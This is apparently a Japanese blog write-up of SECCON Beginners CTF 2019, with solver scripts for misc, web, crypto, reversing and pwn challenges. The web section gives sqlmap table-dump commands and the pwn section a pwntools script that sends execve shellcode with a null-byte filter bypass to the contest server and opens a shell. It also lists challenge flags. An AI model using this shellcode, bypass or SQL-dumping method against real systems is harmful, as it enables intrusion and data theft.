amaga38のブログ

twitter: @amaga38

SECCON Beginers CTF 2019 write-up

2019/05/25 15:00 - 05/26 15:00 (24H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して1274pt. 全体77位で個人成績?では61位でした。

MISC

containers

Let's extract files from the container. https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers

ファイルを抽出

# -*- coding: utf-8 -*-
import re


def main():
    with open('./containers', 'rb') as f:
        data = f.read()

    cnt, idx = 0, 0
    files = []
    fb = re.compile(b'FILE.*\.')
    vld = b'VALIDATOR'

    tmp = fb.search(data[idx:])
    s, e = tmp.start(), tmp.end()
    idx = e
    while True:
        tmp = fb.search(data[idx:])
        if tmp:
            s, e = tmp.start(), tmp.end()
            files.append((idx, idx+s))
            idx += e
        else:
            val_idx = re.search(vld, data[idx:])
            files.append((idx, idx+val_idx.start()))
            break
        cnt += 1

    print(cnt, files)
    cnt = 0
    for f in files:
        s, e = f[0], f[1]
        d = data[s:e]
        fname = 'con_' + str(cnt) + '.png'

        with open(fname, 'wb') as f:
            f.write(d)
        cnt += 1


if __name__ == '__main__':
    main()

抽出できたPNGファイル順番通りに並べればフラグっぽい。 f:id:amaga38:20190525232039j:plain

一応、確認

$ echo -n 'ctf4b{e52df60c058746a66e4ac4f34db6fc81}' | sha1sum 
3c90b7f38d3c200d8e6312fbea35668bec61d282  -

Flag: ctf4b{e52df60c058746a66e4ac4f34db6fc81}

Dump

Analyze dump and extract the flag!! https://score.beginners.seccon.jp/files/fc23f13bcf6562e540ed81d1f47710af_dump

DLしたバイナリを見たらpcapっぽかったので、まずは拡張子をpcapにしてWiresharkで開いた。パケットはHTTPパケットだったので、メニューのファイル→オブジェクトをエクスポート→HTTP でHTTPコンテンツを出力した。

HTMLコンテンツの中は8進数みたいな値が並んでいた。

037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133
327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252
164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166
244 010 010 050 315 002 110 023 024 244 012 330 005 351 012 012
322 024 245 011 202 205 242 202 212 337 204 216 242 357 175 336
365 177 336 265 376 337 372 346 072 316 231 275 177 173 237 175
366 331 247 346 070 127 106 126 306 331 315 033 355 056 343 351
353 016 374 227 056 030 014 246 050 057 017 245 074 225 024 025
026 236 060 304 342 373 302 045 247 000 207 302 345 344 025 020
162 012 010 230 022 002 012 203 313 301 345 140 000 024 366 337

WEBページのタイトルを見てみるとWeb Shellとなっているのと、Wiresharkで保存されたファイル名が、webshell.php%3fcmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag.htmlになっていたので、やはりhexdumpでflagファイルの中を8進数で表示したものらしい。

ソルバー(HTMLコンテンツから8進数の部分だけ抜き出し、dump.txtとして保存して実行)

with open('dump.txt', 'r') as f:
    data = f.read()
octs = data.split()
bytes = map(lambda x: int(x, 8).to_bytes(1, 'little'), octs)
with open('dump_data.txt', 'wb') as f:
    for b in bytes:
        f.write(b)

tar.gzぽかったので、tarコマンドで回答したらフラグのJPEGがでてきた。

Flag: ctf4b{hexdump_is_very_useful}

Web

Ramen

SQL injectionとかよくわからないので、sqlmapをつかったら出た。

$ sqlmap --tables -u https://ramen.quals.beginners.seccon.jp/?username=

$ sqlmap -T flag -- dump -u https://ramen.quals.beginners.seccon.jp/?username=

Flag: ctf4b{a_simple_sql_injection_with_union_select}

Crypto

[warmup] So Tired

最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫! File: so_tired.tar.gz https://score.beginners.seccon.jp/files/7e9eb0636de2cad98b1eee3b667aea6c_so_tired.tar.gz

ファイルをtarコマンドで回答すると、Base64文字列が書いてあるテキストファイルがでてくる。base64デコードするとバイナリがでてくる。fileコマンドで調べてみるとzlibで圧縮されたデータらしい。

$ cat encrypted.txt | base64 -d > d64.txt
$ file d64.txt 
d64.txt: zlib compressed data

試しに解凍してみるとまたbase64文字列がでてきたので、繰り返しだろーなーと思って、以下のソルバーを書いて解いた。

# -*- coding: utf-8 -*-
import base64
import zlib


def main():
    with open('encrypted.txt', 'rb') as f:
        data = f.read()

    cnt = 0
    tmp = data[:]
    while True:
        b64d = base64.b64decode(tmp)
        zdec = zlib.decompress(b64d)
        if zdec.find(b'ctf4b') != -1:
            print(cnt)
            print(zdec)
            break
        tmp = zdec[:]
        cnt += 1


if __name__ == '__main__':
    main()

# $ python solve.py 
# 499
# ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

Flag: ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

Reversing

[warmup] Seccompare

https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz

IDAで眺めてみるとstack上にFlagっぽい文字列を用意して、0x4006b9コマンドライン引数と比較している。 f:id:amaga38:20190525172636j:plain

strcmpされる前のstackを見ればフラグが見えるはずなので、gdb-pedaで適当に0x4006a4にブレイクポイントを設定して実行。

$ gdb -q --args seccompare ctf4bxxxxxxxxxxx
Reading symbols from seccompare...(no debugging symbols found)...done.
gdb-peda$ b *0x4006a4
Breakpoint 1 at 0x4006a4
gdb-peda$ r
Starting program: /seccompare ctf4bxxxxxxxxxxx

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x400700 (<__libc_csu_init>: push   r15)
RDX: 0x7fffffffdfd0 --> 0x7fffffffe340 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...")
RDI: 0x2 
RBP: 0x7fffffffded0 --> 0x400700 (<__libc_csu_init>:   push   r15)
RSP: 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...")
RIP: 0x4006a4 (<main+189>:    mov    rax,QWORD PTR [rbp-0x40])
R8 : 0x7ffff7dd0d80 --> 0x0 
R9 : 0x7ffff7dd0d80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x400500 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffdfb0 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400698 <main+177>:   mov    BYTE PTR [rbp-0x16],0x68
   0x40069c <main+181>:   mov    BYTE PTR [rbp-0x15],0x7d
   0x4006a0 <main+185>:   mov    BYTE PTR [rbp-0x14],0x0
=> 0x4006a4 <main+189>:    mov    rax,QWORD PTR [rbp-0x40]
   0x4006a8 <main+193>:   add    rax,0x8
   0x4006ac <main+197>:   mov    rdx,QWORD PTR [rax]
   0x4006af <main+200>:   lea    rax,[rbp-0x30]
   0x4006b3 <main+204>:   mov    rsi,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...")
0008| 0x7fffffffde98 --> 0x20040074d 
0016| 0x7fffffffdea0 ("ctf4b{5tr1ngs_1s_n0t_en0ugh}")
0024| 0x7fffffffdea8 ("r1ngs_1s_n0t_en0ugh}")
0032| 0x7fffffffdeb0 ("_n0t_en0ugh}")
0040| 0x7fffffffdeb8 --> 0x7d686775 ('ugh}')
0048| 0x7fffffffdec0 --> 0x7fffffffdfb0 --> 0x2 
0056| 0x7fffffffdec8 --> 0x93dbe948b0632700 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004006a4 in main ()

Flag: ctf4b{5tr1ngs_1s_n0t_en0ugh}

Leakage

コマンドライン引数に正しいFlag文字列を与えて実行するとcorrectと出力される実行ファイルみたい。

is_correctという関数でバイナリ内にある難読化したフラグ文字列を1文字ずつconvertという関数内で元に戻している。 f:id:amaga38:20190525183429j:plain

始めは慣れていないangrでチャレンジしてみたが、なぜか解けない。gdbでやれば答えがでるのは、わかっているのであきらめてgdbでチマチマ解いた。

is_correct関数の 0x400630 にブレイクポイントを設定して、そのときの$eaxの値がconvertで変換されたフラグの1文字がわかる。あとはそれを繰り返す。

$ cat gdb_cmd 
start
break *0x400630
ignore 2 24
run

$ gdb -q -x gdb_cmd --args ./leakage ctf4b{le4k1ng_th3_xxxxxxxxxxxxxxx}
 :
 :
gdb-peda$ c
Continuing.
$4 = 0x66

[----------------------------------registers-----------------------------------]
RAX: 0x66 ('f')
RBX: 0x0 
RCX: 0x0 
RDX: 0x9 ('\t')
RSI: 0x1fabee32 
RDI: 0xfc1dbaf2 
RBP: 0x7fffffffdee0 --> 0x7fffffffdf00 --> 0x400bc0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffdec0 --> 0x1 
RIP: 0x400630 (<is_correct+73>:   mov    BYTE PTR [rbp-0x5],al)
R8 : 0x3ba0b0d7 
R9 : 0x7fe82c73 
R10: 0x6f47b3e6 
R11: 0x9f643160 
R12: 0x400500 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffdfe0 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400626 <is_correct+63>:  movzx  eax,al
   0x400629 <is_correct+66>:  mov    edi,eax
   0x40062b <is_correct+68>:  call   0x4006d0 <convert>
=> 0x400630 <is_correct+73>:   mov    BYTE PTR [rbp-0x5],al
   0x400633 <is_correct+76>:  mov    eax,DWORD PTR [rbp-0x4]
   0x400636 <is_correct+79>:  movsxd rdx,eax
   0x400639 <is_correct+82>:  mov    rax,QWORD PTR [rbp-0x18]
   0x40063d <is_correct+86>:  add    rax,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdec0 --> 0x1 
0008| 0x7fffffffdec8 --> 0x7fffffffe359 ("ctf4b{le4k1ng_th3_", 'x' <repeats 15 times>, "}")
0016| 0x7fffffffded0 --> 0x7ffff7de59a0 (<_dl_fini>:   push   rbp)
0024| 0x7fffffffded8 --> 0x125f000000 
0032| 0x7fffffffdee0 --> 0x7fffffffdf00 --> 0x400bc0 (<__libc_csu_init>:    push   r15)
0040| 0x7fffffffdee8 --> 0x4006aa (<main+74>:  test   eax,eax)
0048| 0x7fffffffdef0 --> 0x7fffffffdfe8 --> 0x7fffffffe314 ("/media/sf_onedrive_ctf/SECCON_Beginners_CTF_2019/rev/leakage/leakage")
0056| 0x7fffffffdef8 --> 0x200000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000000000400630 in is_correct ()
gdb-peda$ q

フラグ文字列がすべてわかるまでひたすら繰り返す。 Flag: ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation

次はangrでうまくいった。

# -*- coding: utf-8 -*-
import angr
import claripy

def main():
    key_len = 63

    pj = angr.Project('./linear_operation')
    input = claripy.BVS('input', 8*key_len)
    init_state = pj.factory.entry_state(args=['./linear_operation'])

    for b in input.chop(key_len):
        init_state.add_constraints(b != 0)

    sm = pj.factory.simgr(init_state)

    # main
    sm.explore(find=0x40cf78, avoid=[0x40cf86])
    for f in sm.found:
        print(f.posix.dumps(0))
        print(f.posix.dumps(1))


if __name__ == '__main__':
    main()
$ python3 solve.py 
WARNING | 2019-05-25 20:04:23,268 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | Filling register r15 with 8 unconstrained bytes referenced from 0x40cfb0 (__libc_csu_init+0x0 in linear_operation (0x40cfb0))
WARNING | 2019-05-25 20:04:23,273 | angr.state_plugins.symbolic_memory | Filling register r14 with 8 unconstrained bytes referenced from 0x40cfb2 (__libc_csu_init+0x2 in linear_operation (0x40cfb2))
WARNING | 2019-05-25 20:04:23,277 | angr.state_plugins.symbolic_memory | Filling register r13 with 8 unconstrained bytes referenced from 0x40cfb7 (__libc_csu_init+0x7 in linear_operation (0x40cfb7))
WARNING | 2019-05-25 20:04:23,280 | angr.state_plugins.symbolic_memory | Filling register r12 with 8 unconstrained bytes referenced from 0x40cfb9 (__libc_csu_init+0x9 in linear_operation (0x40cfb9))
WARNING | 2019-05-25 20:04:23,287 | angr.state_plugins.symbolic_memory | Filling register rbx with 8 unconstrained bytes referenced from 0x40cfca (__libc_csu_init+0x1a in linear_operation (0x40cfca))
WARNING | 2019-05-25 20:04:23,378 | angr.state_plugins.symbolic_memory | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x4005b1 (register_tm_clones+0x21 in linear_operation (0x4005b1))
b'ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}'

Flag: ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

Pwn

[warmup] shellcoder

shellcodeを標準入力から読み込み、shellcodeに[binsh]が含まれていないかstrchrでチェックし、OKならshellcodeを実行してくれる。

f:id:amaga38:20190526012717j:plain

strchrのチェックは\x00がある位置で終了なので、shellcodeの先頭に影響のない↓のコードを入れておく。shellcode本体は、ももいろテクノロジー - x64でスタックバッファオーバーフローをやってみるから頂いた。

B6 00   mov dh, 0

最終的なソルバー

# -*- coding: utf-8 -*-
from pwn import *

srv = '153.120.129.186'
port = 20000

bin = ELF('./shellcoder')

conn = remote(srv, port)
conn.recvuntil('Are you shellcoder?\n')
buf = b'\xb6\x00\x31\xD2\x52\x48'
buf += b'\xb8\x2f\x62\x69\x6e\x2f\x2f\x73'
buf += b'\x68\x50\x48\x89\xe7\x52\x57\x48'
buf += b'\x89\xe6\x48\x8d\x42\x3b\x0f\x05'
conn.sendline(buf)

conn.interactive()
conn.close()

実行結果

$ python3 solve.py 
[*] '/media/sf_onedrive_ctf/SECCON_Beginners_CTF_2019/pwn/shellcoder/shellcoder'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 153.120.129.186 on port 20000: Done
[*] Switching to interactive mode
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

Flag: ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

以上!